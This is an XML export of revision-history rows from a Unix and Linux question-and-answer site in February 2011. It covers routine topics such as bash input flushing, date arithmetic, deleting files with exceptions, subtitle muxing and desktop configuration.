  <row Id="16706" PostHistoryTypeId="5" PostId="7208" RevisionGUID="419387f0-4868-4252-ab0a-8573523da329" CreationDate="2011-02-10T19:05:50.000" UserId="688" Comment="deleted 3 characters in body; edited tags; edited tags" Text="My laptop has keyboard buttons for adjusting screen brightness. After a Debian Squeeze re-installation, they don't work no more.&#xD;&#xA;&#xD;&#xA;[**laptop**] Acer TravelMate 6592; I use &lt;kbd&gt;Fn&lt;/kbd&gt;&lt;kbd&gt;&lt;&lt;/kbd&gt; to decrease the brightness and &lt;kbd&gt;Fn&lt;/kbd&gt;&lt;kbd&gt;&gt;&lt;/kbd&gt; to increase it." />
  <row Id="16707" PostHistoryTypeId="6" PostId="7208" RevisionGUID="419387f0-4868-4252-ab0a-8573523da329" CreationDate="2011-02-10T19:05:50.000" UserId="688" Comment="deleted 3 characters in body; edited tags; edited tags" Text="élinuxàédebianàégnomeàélaptopà" />
  <row Id="16708" PostHistoryTypeId="2" PostId="7210" RevisionGUID="ecaf5f7e-73f2-4c74-9d24-8b02c2f45777" CreationDate="2011-02-10T19:40:05.353" UserId="1924" Text="brasero needs cdrdao which is already installed. What's wrong with this?" />
  <row Id="16709" PostHistoryTypeId="1" PostId="7210" RevisionGUID="ecaf5f7e-73f2-4c74-9d24-8b02c2f45777" CreationDate="2011-02-10T19:40:05.353" UserId="1924" Text="brasero needs cdrdao arleady installed" />
  <row Id="16710" PostHistoryTypeId="3" PostId="7210" RevisionGUID="ecaf5f7e-73f2-4c74-9d24-8b02c2f45777" CreationDate="2011-02-10T19:40:05.353" UserId="1924" Text="élinuxàéubuntuà" />
  <row Id="16711" PostHistoryTypeId="2" PostId="7211" RevisionGUID="a70d32a9-c51a-4b65-9fd3-7ce40bc475a5" CreationDate="2011-02-10T19:49:56.157" UserId="4667" Text="Perl is likely to be installed, and it's easy enough to grap modules from [CPAN][1], install them in your home directory, and [refer to them][2] in your program.  In this case, the [Date::Calc][3] module has a `Delta_Days` subroutine that will help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cpan.org/&#xD;&#xA;  [2]: http://perldoc.perl.org/lib.html&#xD;&#xA;  [3]: http://search.cpan.org/~stbey/Date-Calc-6.3/lib/Date/Calc.pod" />
  <row Id="16712" PostHistoryTypeId="5" PostId="6893" RevisionGUID="9a77187d-1295-4f7e-82b2-c9f96f8cf321" CreationDate="2011-02-10T20:06:27.583" UserId="688" Comment="added 3 characters in body" Text="A lot of times when I (un)install packages, I get strange warning messages. Here's a snippet:&#xD;&#xA;&#xD;&#xA;	Processing triggers for libglib2.0-0 ...&#xD;&#xA;	Processing triggers for man-db ...&#xD;&#xA;	Processing triggers for desktop-file-utils ...&#xD;&#xA;	Processing triggers for gnome-menus ...&#xD;&#xA;	Processing triggers for menu ...&#xD;&#xA;	Processing triggers for gconf2 ...&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	Processing triggers for hicolor-icon-theme ...&#xD;&#xA;	Processing triggers for shared-mime-info ...&#xD;&#xA;&#xD;&#xA;Anyone knows what causes this? These seem like harmless messages, but what do they mean? How to I get rid of them?&#xD;&#xA;&#xD;&#xA;[__note__] I use Debian Squeeze.&#xD;&#xA;" />
  <row Id="16713" PostHistoryTypeId="25" PostId="7208" RevisionGUID="3d6ec010-e749-48d6-adfb-a4bf62486f6f" CreationDate="2011-02-10T20:22:38.367" Comment="http://twitter.com/#!/StackUnix/status/35795795345281024" />
  <row Id="16714" PostHistoryTypeId="2" PostId="7212" RevisionGUID="7f62671b-4d5a-479a-a2d8-08501965aa32" CreationDate="2011-02-10T20:24:14.293" UserId="688" Text="I would like to make a subtitle file to be a part of an mp4 video file, so that I don't have to deal with two separate files. How do I do this? Also, can you indicate if there's disadvantages to this approach." />
  <row Id="16715" PostHistoryTypeId="1" PostId="7212" RevisionGUID="7f62671b-4d5a-479a-a2d8-08501965aa32" CreationDate="2011-02-10T20:24:14.293" UserId="688" Text="How to 'burn' a subtitle track onto an mp4 video file" />
  <row Id="16716" PostHistoryTypeId="3" PostId="7212" RevisionGUID="7f62671b-4d5a-479a-a2d8-08501965aa32" CreationDate="2011-02-10T20:24:14.293" UserId="688" Text="évideoöeditingàévideoösubtitlesà" />
  <row Id="16717" PostHistoryTypeId="2" PostId="7213" RevisionGUID="0e999edc-6c35-43a9-a45c-49d946472213" CreationDate="2011-02-10T20:35:11.453" UserId="1209" Text="Is there an easy way in bash to flush out the standard input?&#xD;&#xA;&#xD;&#xA;I have a script that is commonly run, and at one point in the script [read][1] is used to get input from the user.  The problem is that most users run this script by copying and pasting the command line from web-based documentation.  They frequently include some trailing whitespace, or worse, some of the text following the sample command.  I want to adjust the script to simply get rid of the extra junk before displaying the prompt.&#xD;&#xA;&#xD;&#xA;  [1]: http://ss64.com/bash/read.html" />
  <row Id="16718" PostHistoryTypeId="1" PostId="7213" RevisionGUID="0e999edc-6c35-43a9-a45c-49d946472213" CreationDate="2011-02-10T20:35:11.453" UserId="1209" Text="Bash flush standard input before a read" />
  <row Id="16719" PostHistoryTypeId="3" PostId="7213" RevisionGUID="0e999edc-6c35-43a9-a45c-49d946472213" CreationDate="2011-02-10T20:35:11.453" UserId="1209" Text="élinuxàébashàéscriptingà" />
  <row Id="16720" PostHistoryTypeId="2" PostId="7214" RevisionGUID="af77b44d-3178-4ef9-8067-b7d802691481" CreationDate="2011-02-10T21:32:15.317" UserId="3169" Text="I haven't tried that before, but this [thread on nonblocking I/O in bash][1] might help.&#xD;&#xA;&#xD;&#xA;It suggests using `stty` and `dd`.&#xD;&#xA;&#xD;&#xA;Or you could use the `bash` `read` builtin with the `-t 0` and `-N 1` options.&#xD;&#xA;&#xD;&#xA;    # do your stuff&#xD;&#xA;&#xD;&#xA;    # discard rest of input before exiting&#xD;&#xA;    while read -N 1 -t 0 char; do&#xD;&#xA;      :&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.com/shell-programming-scripting/84624-nonblocking-i-o-bash-scripts.html" />
  <row Id="16721" PostHistoryTypeId="5" PostId="7214" RevisionGUID="4710ebbe-1890-44b8-8fcf-902346ca9406" CreationDate="2011-02-10T21:41:04.803" UserId="3169" Comment="added 28 characters in body; deleted 1 characters in body; added 283 characters in body" Text="I haven't tried that before, but this [thread on nonblocking I/O in bash][1] might help.&#xD;&#xA;&#xD;&#xA;It suggests using `stty` and `dd`.&#xD;&#xA;&#xD;&#xA;Or you could use the `bash` `read` builtin with the `-t 0` option.&#xD;&#xA;&#xD;&#xA;    # do your stuff&#xD;&#xA;&#xD;&#xA;    # discard rest of input before exiting&#xD;&#xA;    while read -t 0 notused; do&#xD;&#xA;       read input&#xD;&#xA;       echo &quot;ignoring $input&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you only want to do it if the user is at a terminal, try this:&#xD;&#xA;&#xD;&#xA;    # if we are at a terminal, discard rest of input before exiting&#xD;&#xA;    if test -t 0; then&#xD;&#xA;        while read -t 0 notused; do&#xD;&#xA;           read input&#xD;&#xA;           echo &quot;ignoring $input&quot;&#xD;&#xA;        done&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.com/shell-programming-scripting/84624-nonblocking-i-o-bash-scripts.html" />
  <row Id="16722" PostHistoryTypeId="5" PostId="7214" RevisionGUID="ada26b64-3fd8-4170-b078-40b1303b1b48" CreationDate="2011-02-10T21:50:13.367" UserId="3169" Comment="deleted 33 characters in body" Text="This [thread on nonblocking I/O in bash][1] might help.&#xD;&#xA;&#xD;&#xA;It suggests using `stty` and `dd`.&#xD;&#xA;&#xD;&#xA;Or you could use the `bash` `read` builtin with the `-t 0` option.&#xD;&#xA;&#xD;&#xA;    # do your stuff&#xD;&#xA;&#xD;&#xA;    # discard rest of input before exiting&#xD;&#xA;    while read -t 0 notused; do&#xD;&#xA;       read input&#xD;&#xA;       echo &quot;ignoring $input&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you only want to do it if the user is at a terminal, try this:&#xD;&#xA;&#xD;&#xA;    # if we are at a terminal, discard rest of input before exiting&#xD;&#xA;    if test -t 0; then&#xD;&#xA;        while read -t 0 notused; do&#xD;&#xA;           read input&#xD;&#xA;           echo &quot;ignoring $input&quot;&#xD;&#xA;        done&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.com/shell-programming-scripting/84624-nonblocking-i-o-bash-scripts.html" />
  <row Id="16723" PostHistoryTypeId="5" PostId="4589" RevisionGUID="bf263bd0-43a6-403b-b41e-7711f473f937" CreationDate="2011-02-10T21:59:27.457" UserId="298" Comment="add reference" Text="Well, you can do something sneaky like:  &#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ echo &quot;`date +%s` - (1125 * 24 * 60 *60)&quot; |bc&#xD;&#xA;1194478815&#xD;&#xA;$ date -r 1194478689&#xD;&#xA;Wed, 07 Nov 2007 18:38:09 -0500&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Tested on OpenBSD (definitely non gnu based date), and seems to work.&#xD;&#xA;&#xD;&#xA;Breaking it down in steps:&#xD;&#xA;&#xD;&#xA;* get the current unixtime (seconds since beginning of unix epoch): &#xD;&#xA;  &lt;pre&gt;&#xD;&#xA;  $ date +%s&#xD;&#xA;  1291679934&#xD;&#xA;  &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;* get the number of seconds in 1125 days&#xD;&#xA;  &lt;pre&gt;&#xD;&#xA;  $ echo &quot;1125 * 24 * 60 *60&quot; | bc&#xD;&#xA;  97200000&#xD;&#xA;  &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;* subtract one from the other (1291679934 - 97200000) = 1194478815&#xD;&#xA;&#xD;&#xA;* use the new unixtime (1194478815) to print a pretty date&#xD;&#xA;    &lt;pre&gt;&#xD;&#xA;    $ date -r 1194478689&#xD;&#xA;    Wed, 07 Nov 2007 18:38:09 -0500&#xD;&#xA;    &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;* As an alternative, on solaris you can do this to print the date*:&#xD;&#xA;    &lt;pre&gt;/bin/echo &quot;0t1194478815&gt;Y\n&amp;lt;Y=Y&quot; |adb&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;\* referenced from http://www.sun.com/bigadmin/shellme/" />
  <row Id="16724" PostHistoryTypeId="5" PostId="4589" RevisionGUID="bc0565cf-d01c-459a-b10c-daf02572cd30" CreationDate="2011-02-10T22:09:15.677" UserId="298" Comment="add a way to get current unix timestamp from solaris" Text="Well, you can do something sneaky like:  &#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ echo &quot;`date +%s` - (1125 * 24 * 60 *60)&quot; |bc&#xD;&#xA;1194478815&#xD;&#xA;$ date -r 1194478689&#xD;&#xA;Wed, 07 Nov 2007 18:38:09 -0500&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Tested on OpenBSD (definitely non gnu based date), and seems to work.&#xD;&#xA;&#xD;&#xA;Breaking it down in steps:&#xD;&#xA;&#xD;&#xA;* get the current unixtime (seconds since beginning of unix epoch): &#xD;&#xA;  &lt;pre&gt;&#xD;&#xA;  $ date +%s&#xD;&#xA;  1291679934&#xD;&#xA;  &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;* get the number of seconds in 1125 days&#xD;&#xA;  &lt;pre&gt;&#xD;&#xA;  $ echo &quot;1125 * 24 * 60 *60&quot; | bc&#xD;&#xA;  97200000&#xD;&#xA;  &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;* subtract one from the other (1291679934 - 97200000) = 1194478815&#xD;&#xA;&#xD;&#xA;* use the new unixtime (1194478815) to print a pretty date&#xD;&#xA;    &lt;pre&gt;&#xD;&#xA;    $ date -r 1194478689&#xD;&#xA;    Wed, 07 Nov 2007 18:38:09 -0500&#xD;&#xA;    &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;* As an alternative, on solaris you can do this to print the date*:&#xD;&#xA;    &lt;pre&gt;/bin/echo &quot;0t1194478815&gt;Y\n&amp;lt;Y=Y&quot; |adb&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;\* referenced from http://www.sun.com/bigadmin/shellme/&#xD;&#xA;&#xD;&#xA;Also, an alternative on Solaris for getting the current timestamp from the date command** is:&#xD;&#xA;    &lt;pre&gt;/usr/bin/truss /usr/bin/date 2&gt;&amp;1 |  nawk -F= '/^time\(\)/ {gsub(/ /,&quot;&quot;,$2);print $2}'&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;\** referenced from http://www.commandlinefu.com/commands/view/7647/unix-timestamp-solaris" />
  <row Id="16725" PostHistoryTypeId="2" PostId="7215" RevisionGUID="ebc5206f-53c6-436a-a17f-1dfd40409cc2" CreationDate="2011-02-10T22:43:37.010" UserId="4625" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have a lot of files *AND* folders in a specific folder and I want to delete all of them, though I wanted to keep three files, call them X, Y, and Z.&#xD;&#xA;&#xD;&#xA;Is there a way i can do something like: `rm * | but NOT grep | X or Y or Z`, said literally..&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="16726" PostHistoryTypeId="1" PostId="7215" RevisionGUID="ebc5206f-53c6-436a-a17f-1dfd40409cc2" CreationDate="2011-02-10T22:43:37.010" UserId="4625" Text="Deleting entire files in a folder EXCEPT file X, Y, and Z" />
  <row Id="16727" PostHistoryTypeId="3" PostId="7215" RevisionGUID="ebc5206f-53c6-436a-a17f-1dfd40409cc2" CreationDate="2011-02-10T22:43:37.010" UserId="4625" Text="éterminalàérmà" />
  <row Id="16728" PostHistoryTypeId="5" PostId="7186" RevisionGUID="17a6efb5-436b-40f1-b908-54318ed750c7" CreationDate="2011-02-10T22:53:59.957" UserId="29" Comment="make the question text more clear" Text="I want to launch `vim` instead of the  default `vi` editor when I hit &lt;kbd&gt;v&lt;/kbd&gt; in `less`.&#xD;&#xA;&#xD;&#xA;Are there any settings I can modify to allow me to do this?" />
  <row Id="16729" PostHistoryTypeId="2" PostId="7216" RevisionGUID="f7fb8618-eb95-4137-ae69-986fcdb2380b" CreationDate="2011-02-10T22:55:33.733" UserId="1209" Text="Instead of using rm, it may be easier to use [find][1].  A command like this would delete everything except a file named exactly 'file'&#xD;&#xA;&#xD;&#xA;    find . \! -name 'file' -delete&#xD;&#xA;&#xD;&#xA;Many versions of should be able to support globbing and regular expression matching.&#xD;&#xA;&#xD;&#xA;You could also pipe the output of find to rm as well&#xD;&#xA;&#xD;&#xA;    find . \! -name '*pattern*' -print0 | xargs --null rm &#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/find" />
  <row Id="16730" PostHistoryTypeId="2" PostId="7217" RevisionGUID="bdb4a0d9-df86-4eb6-9e8b-afcb3dc18a8f" CreationDate="2011-02-10T23:00:21.333" UserId="4669" Text="I'm looking for a software to do live screen-cast of our local user group meeting. What software can I use to do that? Ideally I'd like to capture the computer screen and speaker's audio and stream it live?" />
  <row Id="16731" PostHistoryTypeId="1" PostId="7217" RevisionGUID="bdb4a0d9-df86-4eb6-9e8b-afcb3dc18a8f" CreationDate="2011-02-10T23:00:21.333" UserId="4669" Text="What software can I use to do live screen-casting in linux? " />
  <row Id="16732" PostHistoryTypeId="3" PostId="7217" RevisionGUID="bdb4a0d9-df86-4eb6-9e8b-afcb3dc18a8f" CreationDate="2011-02-10T23:00:21.333" UserId="4669" Text="ésoftwareörecàévideoàéstreamingà" />
  <row Id="16733" PostHistoryTypeId="2" PostId="7218" RevisionGUID="7165bbe8-75cd-4feb-990c-d0f10a2cfe40" CreationDate="2011-02-10T23:01:05.717" UserId="1946" Text="Move the files you want to keep away.  Go up one level, delete the folder.  Re-create the folder and move those files back." />
  <row Id="16734" PostHistoryTypeId="2" PostId="7219" RevisionGUID="742c01c0-054f-4194-88d4-a3be97af7e54" CreationDate="2011-02-10T23:01:30.693" UserId="4675" Text="Using zsh, with setopt EXTENDED_GLOB &#xD;&#xA;&#xD;&#xA;    rm *~{x,y,z}&#xD;&#xA;&#xD;&#xA;But, you should probably instead move the files elsewhere, then delete everything.  It's far safer in terms of finger slips, such as hitting enter too soon." />
  <row Id="16735" PostHistoryTypeId="25" PostId="7217" RevisionGUID="61f304e5-79b5-4898-964b-414b5af4c0a4" CreationDate="2011-02-10T23:22:38.880" Comment="http://twitter.com/#!/StackUnix/status/35841099981398017" />
  <row Id="16736" PostHistoryTypeId="2" PostId="7220" RevisionGUID="c52f7ec4-a52d-45fc-88c0-ea54afe5a8fe" CreationDate="2011-02-11T01:01:22.460" UserId="4194" Text="Here is an awk script I just wrote up, should work with an POSIX awk.  You'll have to try the Solaris version; remember that there are two versions of Awk on Solaris as well, one in /bin and one in /usr/xpg4/bin/awk (which is nawk, I believe).&#xD;&#xA;&#xD;&#xA;    BEGIN {&#xD;&#xA;        daysofmonth[&quot;01&quot;] = 0; daysofmonth[&quot;02&quot;] = 31; daysofmonth[&quot;03&quot;] = 59;&#xD;&#xA;        daysofmonth[&quot;04&quot;] = 90; daysofmonth[&quot;05&quot;] = 120; daysofmonth[&quot;06&quot;] = 151;&#xD;&#xA;        daysofmonth[&quot;07&quot;] = 181; daysofmonth[&quot;08&quot;] = 212; daysofmonth[&quot;09&quot;] = 243;&#xD;&#xA;        daysofmonth[&quot;10&quot;] = 273; daysofmonth[&quot;11&quot;] = 304; daysofmonth[&quot;12&quot;] = 334;&#xD;&#xA;        fullday = 86400;&#xD;&#xA;    }&#xD;&#xA;    /[12][09][0-9][0-9][01][0-9][0123][0-9]/ {&#xD;&#xA;        year = substr($0, 1, 4); month = substr($0, 5, 2); day = substr($0, 7, 2);&#xD;&#xA;        date = ((year - 1970) * 365.25) + daysofmonth[month] + day - 1;&#xD;&#xA;        if ((year % 4) == 0 &amp;&amp; month &gt; 2) { date = date + 1; }&#xD;&#xA;        print date * fullday - (25200);&#xD;&#xA;    }&#xD;&#xA;    {}&#xD;&#xA;&#xD;&#xA;Pass a YYYYmmdd date string through and it will be converted to number of seconds since the Epoch (with a bit of give for being on day boundaries).  Then you will be able to subtract the two.&#xD;&#xA;&#xD;&#xA;    today=`echo 20110210 | awk -f convdate.awk`&#xD;&#xA;    then=`echo 20001231 | awk -f convdate.awk`&#xD;&#xA;    sincethen=`expr $today - $then`" />
  <row Id="16737" PostHistoryTypeId="2" PostId="7221" RevisionGUID="a516c7dd-3813-4796-9d52-6f583b13f9b8" CreationDate="2011-02-11T01:50:04.973" UserId="29" Text="I want to try the new oxygen to gtk port for kde 4.6. But I'm not sure how to enable it. I currently use qtcurve for gtk." />
  <row Id="16738" PostHistoryTypeId="1" PostId="7221" RevisionGUID="a516c7dd-3813-4796-9d52-6f583b13f9b8" CreationDate="2011-02-11T01:50:04.973" UserId="29" Text="How do I switch to the Oxygen GTK feature in KDE?" />
  <row Id="16739" PostHistoryTypeId="3" PostId="7221" RevisionGUID="a516c7dd-3813-4796-9d52-6f583b13f9b8" CreationDate="2011-02-11T01:50:04.973" UserId="29" Text="ékdeà" />
  <row Id="16740" PostHistoryTypeId="25" PostId="7215" RevisionGUID="f8c29818-89e8-4c56-8227-f60b6f4e5ff3" CreationDate="2011-02-11T02:22:38.507" Comment="http://twitter.com/#!/StackUnix/status/35886397290184704" />
  <row Id="16741" PostHistoryTypeId="5" PostId="7215" RevisionGUID="03547798-5cd9-42b6-ae7e-2b26325496ee" CreationDate="2011-02-11T03:22:47.613" UserId="1207" Comment="deleted 54 characters in body; edited tags; edited title" Text="I have a lot of files *and* folders in a specific folder and I want to delete all of them; however, I wanted to keep files X, Y, and Z.&#xD;&#xA;&#xD;&#xA;Is there a way I can do something like: `rm * | but NOT grep | X or Y or Z`&#xD;&#xA;" />
  <row Id="16742" PostHistoryTypeId="6" PostId="7215" RevisionGUID="03547798-5cd9-42b6-ae7e-2b26325496ee" CreationDate="2011-02-11T03:22:47.613" UserId="1207" Comment="deleted 54 characters in body; edited tags; edited title" Text="écommandölineàérmà" />
  <row Id="16743" PostHistoryTypeId="4" PostId="7215" RevisionGUID="03547798-5cd9-42b6-ae7e-2b26325496ee" CreationDate="2011-02-11T03:22:47.613" UserId="1207" Comment="deleted 54 characters in body; edited tags; edited title" Text="Deleting all files in a folder except files X, Y, and Z" />
  <row Id="16744" PostHistoryTypeId="2" PostId="7222" RevisionGUID="3557f185-99a9-4202-addc-08f98713feaf" CreationDate="2011-02-11T04:13:05.737" UserId="2343" Text="Well, this isn't the answer you or I want, (but I'm getting closer :)... &#xD;&#xA;&#xD;&#xA;It is definitley do-able.. ie. to have one, or many, subtitle streams inside the mp4 file. This means that no re-encoding of the video is needed... It just needs to be re-muxed.  &#xD;&#xA;&#xD;&#xA;It is quite simple using a .srt subtitles file.   &#xD;&#xA;&#xD;&#xA;You need 3 programs.. The main program is called VirtualBox... &#xD;&#xA;Then you need a plugin for VirtualBox. That plugin is called Windows.  (yes, I do enjoy calling it a plugin :)   &#xD;&#xA;Then you need another sub-plugin for the Windows plugin.. This next sub plugin is called YAMB (the &quot;full&quot; version which includes MP4Box; YAMB is Yet Another MP4Box GUI)... &#xD;&#xA;&#xD;&#xA;From there on it is a simple as  point click drag drop done...  &#xD;&#xA;&#xD;&#xA;Now I've only tried this out to make sure it could be done, and it does work.  &#xD;&#xA;I feel pretty sure that ffmpeg can do it too, but I hanven't quite figured that bit out (yet)... but I thought I'd just throw this into the ring to (perhaps) prompt someone who knows the native Linux way....  (I'm keen to know myself)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16745" PostHistoryTypeId="5" PostId="7222" RevisionGUID="bf29f1fc-d039-4b11-8b43-a28bdaa9c6a6" CreationDate="2011-02-11T04:41:23.850" UserId="2343" Comment="added 192 characters in body; added 26 characters in body" Text="Well, this isn't the answer you or I want, (but I'm getting closer :)... &#xD;&#xA;&#xD;&#xA;It is definitley do-able.. ie. to have one, or many, subtitle streams inside the mp4 file. This means that no re-encoding of the video is needed... It just needs to be re-muxed.  &#xD;&#xA;&#xD;&#xA;It is quite simple using a .srt subtitles file.   &#xD;&#xA;&#xD;&#xA;You need 3 programs.. The main program is called VirtualBox... &#xD;&#xA;Then you need a plugin for VirtualBox. That plugin is called Windows.  (yes, I do enjoy calling it a plugin :)   &#xD;&#xA;Then you need another sub-plugin for the Windows plugin.. This next sub plugin is called YAMB (the &quot;full&quot; version which includes MP4Box; YAMB is Yet Another MP4Box GUI)... &#xD;&#xA;&#xD;&#xA;From there on it is a simple as  point click drag drop done...  &#xD;&#xA;&#xD;&#xA;Now I've only tried this out to make sure it could be done, and it does work.  &#xD;&#xA;I feel pretty sure that ffmpeg can do it too, but I hanven't quite figured that bit out (yet)... but I thought I'd just throw this into the ring to (perhaps) prompt someone who knows the native Linux way....  (I'm keen to know myself)&#xD;&#xA;&#xD;&#xA;PS: We only need one good native Linux answer (google-able) , and then people like me won't need to post obscure options like this, only because they couldn't find an example or explicit documentation easily enough... " />
  <row Id="16746" PostHistoryTypeId="25" PostId="7213" RevisionGUID="8dec524b-1bbb-4534-81a2-4c0108791ae5" CreationDate="2011-02-11T05:22:39.550" Comment="http://twitter.com/#!/StackUnix/status/35931699049136128" />
  <row Id="16747" PostHistoryTypeId="2" PostId="7223" RevisionGUID="b9313900-4bb4-4d37-9709-dfce8358eefd" CreationDate="2011-02-11T06:27:10.990" UserId="838" Text="python:&#xD;&#xA;&#xD;&#xA;     from datetime import datetime as dt&#xD;&#xA;     a = dt(2010, 9, 9)&#xD;&#xA;     b = dt(2000, 10, 10)&#xD;&#xA;     print (a - b).days&#xD;&#xA;" />
  <row Id="16752" PostHistoryTypeId="2" PostId="7224" RevisionGUID="62fb1245-2c58-45c0-beb0-ed7660e1e818" CreationDate="2011-02-11T07:40:59.783" UserId="4397" Text="First of all, when I installed Wine on my system, it decided to automatically associate its &quot;notepad&quot; application with all types of text and image files. This was annoying enough, but on top of that, whenever I choose the &quot;open with&quot; dialog, I find that Wine has filled it with hundreds of duplicate entries. Most of them are just labeled &quot;A Wine application&quot; with no icon, but any time I install another program with Wine, it adds 5-10 entries for that application as well. How do I fix or disable this?" />
  <row Id="16753" PostHistoryTypeId="1" PostId="7224" RevisionGUID="62fb1245-2c58-45c0-beb0-ed7660e1e818" CreationDate="2011-02-11T07:40:59.783" UserId="4397" Text="Arch Linux + Gnome: Wine going berserk on &quot;open with&quot; menu." />
  <row Id="16754" PostHistoryTypeId="3" PostId="7224" RevisionGUID="62fb1245-2c58-45c0-beb0-ed7660e1e818" CreationDate="2011-02-11T07:40:59.783" UserId="4397" Text="égnomeàéarchölinuxàéwineà" />
  <row Id="16755" PostHistoryTypeId="25" PostId="7221" RevisionGUID="694d9de5-c3fc-4ba2-a71e-544877777921" CreationDate="2011-02-11T08:22:39.613" Comment="http://twitter.com/#!/StackUnix/status/35976998689968128" />
  <row Id="16756" PostHistoryTypeId="5" PostId="7210" RevisionGUID="8e5c936c-d943-4619-857f-6abd6df9a824" CreationDate="2011-02-11T08:31:25.147" UserId="1924" Comment="added 161 characters in body; added 92 characters in body" Text="brasero needs cdrdao which is already installed. What's wrong with this?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;ubuntu lucid 10.04&#xD;&#xA;&#xD;&#xA;When I try to copy CD to image brasero tells me that cdrdao isn't installed. However I reinstalled cdrdao and brasero and the error is still there. &#xD;&#xA;&#xD;&#xA;I thought that it's common error so I didn't add more description." />
  <row Id="16757" PostHistoryTypeId="2" PostId="7225" RevisionGUID="2b2c1ecc-7daf-40b2-a387-0912fcef0df8" CreationDate="2011-02-11T08:48:36.340" UserId="3886" Text="Try something like:&#xD;&#xA;&#xD;&#xA;    mencoder -oac copy -ovc copy -sub subs.srt video.mp4 -o new_video.mp4" />
  <row Id="16758" PostHistoryTypeId="5" PostId="7210" RevisionGUID="a0055214-b26d-48b1-88d4-5c407bd78dfb" CreationDate="2011-02-11T08:50:09.147" UserId="688" Comment="deleted 136 characters in body; edited tags; edited title" Text="When I try to copy CD to image, Brasero tells me that cdrdao isn't installed. However I reinstalled cdrdao and Brasero, but the error is still there. &#xD;&#xA;&#xD;&#xA;[**system**] Ubuntu Lucid (10.04)&#xD;&#xA;" />
  <row Id="16759" PostHistoryTypeId="4" PostId="7210" RevisionGUID="a0055214-b26d-48b1-88d4-5c407bd78dfb" CreationDate="2011-02-11T08:50:09.147" UserId="688" Comment="deleted 136 characters in body; edited tags; edited title" Text="cdrdao is installed, but Brasero doesn't think so" />
  <row Id="16760" PostHistoryTypeId="6" PostId="7210" RevisionGUID="a0055214-b26d-48b1-88d4-5c407bd78dfb" CreationDate="2011-02-11T08:50:09.147" UserId="688" Comment="deleted 136 characters in body; edited tags; edited title" Text="élinuxàéubuntuàéhardödiskà" />
  <row Id="16761" PostHistoryTypeId="2" PostId="7226" RevisionGUID="b7a8cef9-b2dd-49ee-897b-25ee6341a2ea" CreationDate="2011-02-11T09:25:20.457" UserId="4673" Text="I'm sshing into my friends machine and I'm wondering how would i launch a GNOME session over SSH? I need to open a web browser on his machine to view something which can only be done from his hostname. What's the easiest way to achieve this via SSH?" />
  <row Id="16762" PostHistoryTypeId="1" PostId="7226" RevisionGUID="b7a8cef9-b2dd-49ee-897b-25ee6341a2ea" CreationDate="2011-02-11T09:25:20.457" UserId="4673" Text="Launch a GNOME session from terminal" />
  <row Id="16763" PostHistoryTypeId="3" PostId="7226" RevisionGUID="b7a8cef9-b2dd-49ee-897b-25ee6341a2ea" CreationDate="2011-02-11T09:25:20.457" UserId="4673" Text="élinuxàésshàégnomeàéxorgà" />
  <row Id="16764" PostHistoryTypeId="2" PostId="7227" RevisionGUID="02a4ee2c-a2dd-4839-9f39-911c100724c2" CreationDate="2011-02-11T09:44:41.177" UserId="688" Text="GTK+ 1 has been deprecated some years ago, and I'm curious if there's still anyone shipping it and/or apps using it. Also, are there still actively-developed apps using it?" />
  <row Id="16765" PostHistoryTypeId="1" PostId="7227" RevisionGUID="02a4ee2c-a2dd-4839-9f39-911c100724c2" CreationDate="2011-02-11T09:44:41.177" UserId="688" Text="Are there distros that still ship GTK+ 1?" />
  <row Id="16766" PostHistoryTypeId="3" PostId="7227" RevisionGUID="02a4ee2c-a2dd-4839-9f39-911c100724c2" CreationDate="2011-02-11T09:44:41.177" UserId="688" Text="égtkà" />
  <row Id="16767" PostHistoryTypeId="2" PostId="7228" RevisionGUID="a262fa78-2b4b-4516-8456-62bb857a6548" CreationDate="2011-02-11T09:45:09.977" UserId="4485" Text="Without experience with screencasts, this is the way to search the repository for keywords like this: &#xD;&#xA;&#xD;&#xA;    apt-cache search screencast&#xD;&#xA;    byzanz - Small screencast creator&#xD;&#xA;    gtk-recordmydesktop - Graphical frontend for recordmydesktop&#xD;&#xA;    istanbul - Desktop session recorder producing Ogg Theora video&#xD;&#xA;&#xD;&#xA;The result is from xUbuntu 9.10 - your result may vary; give it a try. :)" />
